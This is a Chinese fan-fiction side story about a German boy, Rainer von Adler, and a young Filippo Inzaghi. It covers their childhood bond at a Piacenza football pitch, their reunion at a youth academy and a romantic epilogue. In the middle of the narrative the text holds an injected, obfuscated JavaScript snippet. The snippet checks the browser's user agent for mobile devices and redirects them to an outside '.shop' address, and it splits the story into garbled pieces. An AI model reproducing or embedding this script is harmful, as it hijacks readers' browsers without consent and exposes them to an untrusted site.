1980年夏天，皮亚琴察某个混合居住区的公共球场


    六岁的莱纳·冯·阿德勒站在球场边，像一台被临时投放到意大利语服务器的德国小机器人。


    金发在阳光下像新刷的漆，蓝眼睛缓慢地眨动，处理着耳边轰炸过来的、黏糊快速的方言版意大利语。


    “喂！小德国佬！球踢过来！”


    “他听不懂啦！”


    “试试这个——Ciao!（你好）”


    哦，这个他听懂了。莱纳缓慢转头，吐出生硬的回应：“Ciao.” 停顿两秒，“……球？”


    孩子们哄笑。


    他们喜欢这个游戏：对这个小家伙说他听不懂的话，看他延迟反应，或者作出一些奇怪的举动。


    他成了孩子们球场边一个有趣的随机刷新点——有时周二在，有时周五消失。


    直到某个下午，游戏过了火。


    一个高个男孩故意把球砸向他后背：“嘿！机器人！接住！”


    莱纳刚下课，被忙碌的父母扔到球场。


    瞬间，他怀里抱着的数学书掉进泥里。


    小家伙站在原地，看着封面上欧拉公式的泥点，嘴唇抿成一条直线。


    “捡起来啊！”男孩推他。


    莱纳没动。


    他的意大利语词汇库在这种情境下严重不足，只能反复调用基础句：“Perche?（为什么）…… Non e giusto.（这不公平）”


    更高频的嘲笑。


    然后，一个晒得有些黑乎乎、头发乱翘，但依旧能看出精致五官的男孩挤了进来。


    七岁的菲利波·因扎吉看看泥里的书，又看看那群孩子，最后目光落在莱纳绷紧的小脸上。


    “干嘛呢？”


    小菲利波捡起书，用衣角擦掉泥，塞回莱纳怀里，“他的书比你们的球贵。弄坏了赔？”


    “关你屁事！”


    “关我事。”菲利波挡在莱纳前面，“他是我罩的。今天起。”


    说完他自己都愣了一下——他根本不认识这德国小孩。


    但莱纳抬起了头。


    蓝眼睛盯着菲利波的后脑勺，一个新的词突然出现在他的脑海里：“哥哥。”


    菲利波回头：“啥？”


    莱纳指着自己：“莱纳。” 然后指菲利波，肯定地重复：“哥哥。”


    孩子们发出怪叫：“哟——菲利波捡了个小德国佬弟弟！西蒙尼知道了要哭鼻子咯——”


    菲利波耳朵红了，粗声粗气：“谁是你哥！……喂你去哪儿！”


    莱纳已经小跑着跟在他屁股后面，像终于绑定成功的跟随NPC。


    这场绑定意外地持久。


    莱纳的“刷新模式”是每周下午大概出现2-3次，背着双肩包，里面一半足球装备一半德文书，上面画着菲利波看不懂的条条杠杠，但莱纳乐在其中。


    他不怎么踢球，更喜欢坐在场边看——或者更准确地说，分析。


    他会指着跑动的菲利波，用混杂的意德词汇说：“哥哥，跑……曲线，不好。浪费，能量。”


    手里还比划着虚拟的抛物线。


    菲利波发现这小家伙说起高深的意大利专业词汇，倒是一点也不磕吧，他烦躁道：“说人话！”


    莱纳干脆切换成德语，嘀咕：“Du laufst wie ein betrunkenes Huhn.（你跑得像只醉鸡）”


    菲利波：“……”


    虽然德语听起来一直像脾气不好，但这句话菲利波几乎可以肯定：“你又骂我了吧？绝对骂了！”


    莱纳摆出无辜脸，溜圆的水蓝色眼睛真诚地望着他，充分发挥了日耳曼民族的外貌优势：“没有。说……跑得，很有创意。”


    但可惜这招菲利波免疫。


    通过多次实践，菲利波发现，当莱纳情绪波动或极度认真时，会无意识切回德语，母语总是顺口的。


    于是后来，这个九岁男孩发展出一项技能——从德语语调猜意思。


    莱纳盯着他射飞的球，小声：“Mein Gott, das ist ja tragisch.（我的天，这可真悲剧）”


    菲利波：“你刚才说‘悲剧’对吧？！”


    莱纳：（震惊）“哥哥，懂德语？”


    菲利波：（得意）“不懂！但你骂我的调调我熟！”


    作为回报，菲利波教莱纳“实用意大利语”：


    “听好，‘这球漂亮’——‘Bel gol！’”


    莱纳认真复述：“Bel gol.”


    “不对！要有激情！Bel——GOOOOOOOL！！！”


    莱纳：（被吼得缩脖子，小声）“Zu laut…（太吵了）”


    但他学会了。


    下次菲利波进球，这个小德国人会在场边，用机器人播报般的平静语调喊：“Bel gol。” 然后在菲利波瞪过来时，补充一个微不可察的笑。


    绑定关系的转折点，发生在一个暴雨突至的下午。


    孩子们作鸟兽散。菲利波拉着莱纳躲到看台底下。雨砸在铁皮顶上像打仗，


    莱纳忽然开始发抖——不是冷，是某种恐慌。他盯着外面的雨幕，蓝眼睛里的感情好像乱了，嘴里冒出快速的、菲利波完全听不懂的德语：


    “Mama sagte, sie kommt vor dem Regen…（妈妈说雨前会来接我）…… Uhrzeit?（几点了）…… Ich soll hier bleiben…（我应该呆在这里）……”


    他反复看手腕上不存在的表。


    菲利波意识到，这个总是平静的小家伙，在害怕。


    “喂，莱纳。” 菲利波蹲下来，扳过他肩膀，“你看我。”


    莱纳焦距涣散。


    菲利波用上了刚从动作片里学来的、自以为很帅的姿势，拍拍胸口：“我，菲利波·因扎吉，在这儿。雨停前，我罩你。听懂没？”


    又用他知道的仅有的几个德语单词拼凑：“Ich（我）…… hier（在这里）…… kein Problem（没问题）！”


    莱纳愣愣地看着他。


    雨声、恐慌、失约的承诺……这些混乱，似乎被眼前这个头发滴水、表情夸张到有些滑稽的意大利男孩强行截断了。


    过了很久，莱纳很小声地、用菲利波能听懂的意语单词混合德语说：“哥哥……不离开？”


    菲利波：“不离开！我发誓！”


    虽然九岁的他并不真的理解誓言的分量。


    莱纳点点头。


    然后，他做了一件让菲利波终身难忘的事——他伸出小指，勾住菲利波的小指，用德语说：“Versprechen.（承诺）”


    那一刻起，莱纳的“刷新模式”变了。


    他不再是随机出现的NPC。只要菲利波在球场，他几乎总在。像终于找到了唯一稳定的服务器地址。


    这种绑定持续了几年，直到莱纳十岁，菲利波十一岁那年。


    那段时间他的“刷新”变得很不稳定，有时来也匆匆，小小年纪就天天带着黑眼圈，德语嘀咕的频率变高。菲利波十一岁，忙着踢球、闯祸、梦想成为大球星，没太深究。


    直到某个毫无征兆的傍晚，莱纳来时背了个更大的包。


    他找到正在练射门的菲利波，塞给他一个东西——是个手工粗糙的钥匙扣，用皮绳编成，中间串着个小小的、画了足球和数字“9”的木片。


    “给哥哥。”


    莱纳的意大利语比初见时流利多了，但语调还是平直，“我要……回德国的学校。对不起。”


    菲利波愣住：“多久？”


    莱纳：“不知道。我会尽力。”


    他低下头，用德语快速说了一句，声音很轻：“Vergiss mich nicht.（别忘了我）”


    然后他转身走了，没回头。


    小背影在夕阳下拉得很长，还是那么笔直，却像串勉强执跑完告别程序的乱码。


    菲利波握着那个钥匙扣，站了很久。他后来把它扔进了抽屉深处。


    童年记忆的压缩算法开始工作。


    那个总是跟在他身后、用德语小声吐槽、会勾他手指说“承诺”的德国小孩，随着时间推移，被压缩成了一个模糊的符号——“我以前好像认识一个奇怪的德国小子”。


    直到他十五岁，皮亚琴察青训营。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984236|193602||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    青训营食堂，1988年


    十五岁的菲利波正对着一盘煮过头的西兰花发愁，对面坐下一个人。


    金发，蓝眼，面容长开了些，长相很爽朗，但整个透露着一种疏离感。


    那人主动坐到菲利波对面，新来的意德混血小子，意大利语流利标准的宛如播音，但内容也足够让人讨厌：


    “根据营养学，西兰花的维生素C在过度烹煮后损耗率超过60%。建议交换。”


    菲利波抬头，皱眉：“你谁啊？新来的？”


    对方顿住了。那双蓝眼睛里的计算似乎卡了一下，闪过一丝……类似于“缓存未命中”的错愕。


    “……莱纳。” 他说，盯着菲利波的脸，像在等待识别响应，“莱纳·冯·阿德勒。”


    菲利波嚼着西兰花，漫不经心：“哦。德国来的那个？踢什么位置？”


    沉默。长久的沉默。


    莱纳慢慢垂下眼，拿起叉子，开始切割自己盘子里同样糟糕的西兰花，动作精确得像在做外科手术。


    然后，他用极轻的、几乎是气音的声音，吐出一句德语：


    “Du hast mich wirklich vergessen.（你真的忘了我啊。）”


    菲利波咀嚼的动作顿了顿，然后道：“你们德国人是不是都喜欢偷偷用德语骂人。”


    莱纳沉默了一会，叹了口气：“不是，我没骂你。……你在骗我？”


    菲利波莫名其妙：“我骗你干什么？”


    “……下午训练见，我在后卫的位置，一对一盯防你会碰见我的。”莱纳面无表情地咀嚼着餐盘里切好的西兰花。


    菲利波感觉莱纳叉的不是西兰花，是他的头。


    分组训练。菲利波觉得自己被针对了。


    没有激烈的对抗，莱纳总能在合适的地方跑到合适的位置，然后宣布他以为的必进球被吹飞。


    找茬呢这小子。菲利波愤懑地想。


    直到那个雨天。莱纳在泥地里陪菲利波练跑位。


    回家的时候，菲利波一直琢磨，为什么会觉得雨水挂在那个家伙脸上是泪水。


    一直琢磨。


    他回到家，把东西一股脑扔到角落，冥冥之中，有什么指引着他打开一个抽屉。


    于是，一个老旧的钥匙扣出现在他桌子上。


    菲利波张着嘴，想起脑海里那个陌生又熟悉的少年，逐渐和那个小土豆对上了号。


    此刻，他脑子里只有一个念头：


    完蛋。是那个小麻烦精，怎么长大了还是这副德行？而且……好像变本加厉了？


    ---


    多年后，当因扎吉终于能听懂那些德语嘀咕时，他翻旧账：


    “所以你那时候老跟在我后面，用德语骂我‘醉鸡’？”


    “……客观……”


    “还说我跑位‘悲剧’？”


    “客观事实。”阿德勒目移。


    “那‘别忘了我’呢？也是客观？”


    阿德勒正在给他尝试的新甜点撒糖霜，手停了一下。


    “那是唯一的主观请求。”


    他转身，把第一块挞递给菲利波：“而且，从结果看，请求被拒绝了——你还是忘了。”


    因扎吉咬了一口挞，味道完美。他凑过去，吻掉阿德勒嘴角的一点糖霜。


    “没忘干净。” 他低声说，“而且，两次失约离开的都是你，不是我。”


    攻守之势异也！哈哈！不愧是他皮波！


    阿德勒只是看着他，蓝眼睛在厨房的暖光里变得柔软。


    “缓存机制比想象中持久。” 他得出结论。


    “说人话。”


    “意思是，” 莱纳低头，吻他，“你从来都是我在亚平宁唯一的原始点。无论重启多少次，默认连接地址都是你。”


    因扎吉卡壳了，回吻他。


    “早该这样。” 他在亲吻间隙嘟囔，“直接点，别老用德语说悄悄话。”


    “Aber das ist mein Geheimcode fur dich.（但那是专属于你的密码。）”


    “……你又来了！”


    窗外，温暖依旧。


    （番外五完）